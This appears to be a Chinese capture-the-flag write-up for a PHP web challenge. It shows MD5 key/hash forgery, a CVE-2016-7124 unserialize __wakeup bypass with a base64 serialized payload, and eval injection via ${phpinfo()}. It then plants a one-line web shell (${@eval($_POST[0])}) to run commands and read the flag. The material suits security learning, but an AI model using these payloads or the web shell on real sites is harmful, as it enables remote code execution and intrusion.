0x00 使用burpsuite抓包,在URL上发现有用信息
发现key=123对应一个hash值,该hash的值通过md5解密得到kkkkkk01123
,如果我们不是123那么就可以get到flag,构造kkkkkk01456
,将其MD5加密,得到2a5414055268d6f1f82288af38e5ce4e
,将key和hash替换,构造
index.php?key=456&hash=2a5414055268d6f1f82288af38e5ce4e
得到下一个页面的链接
0x01 访问Gu3ss_m3_h2h2.php页面
http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34aee.game.ichunqiu.com/Gu3ss_m3_h2h2.php
得到一段代码
注释信息 :the secret is in the f15g_1s_here.php
0x02 代码审计
通过get方式接受var参数,并将var的值进行base64解码,之后进行正则匹配,如果匹配到的话就退出程序。否则进行反序列化。而且我们发现这个Demo类是文件读取的类,当unserialize时被调用执行__wakeup()方法,就是说会在__destruct()前被调用,而__wakeup()会改变file变量的值。魔术方法介绍
根据php之前的漏洞(CVE-2016-7124 https://bugs.php.net/bug.php?id=72663),当
序列化的字符中表示对象属性个数的值大于真实个数时会跳过__wakeup()的执行,这样我们就可以绕过__wakeup()方法,执行__destruct()函数,将文件f15g_1s_here.php的内容读取出来。
首先将”f15g_1s_here.php”文件对象序列化
要绕过正则表达式,在对象长度前加一个“+”
0x03 构造PAYLOAD
TzorNDoiRGVtbyI6Nzp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
访问得到
<?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}
?>
接收一个val参数,eval函数时进行变量赋值,执行
http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34aee.game.ichunqiu.com/f15g_1s_here.php?val=${phpinfo()}
改成一句话,然后post执行代码
http://cbf20660cadd42a4964bcca3cca2bfd16b87a6145fe34aee.game.ichunqiu.com/f15g_1s_here.php?val=${@eval($_POST[0])}
通过反引号执行命令ls
Gu3ss_m3_h2h2.php True_F1ag_i3_Here_233.php f15g_1s_here.php index.php
然后执行cat True_F1ag_i3_Here_233.php
得到flag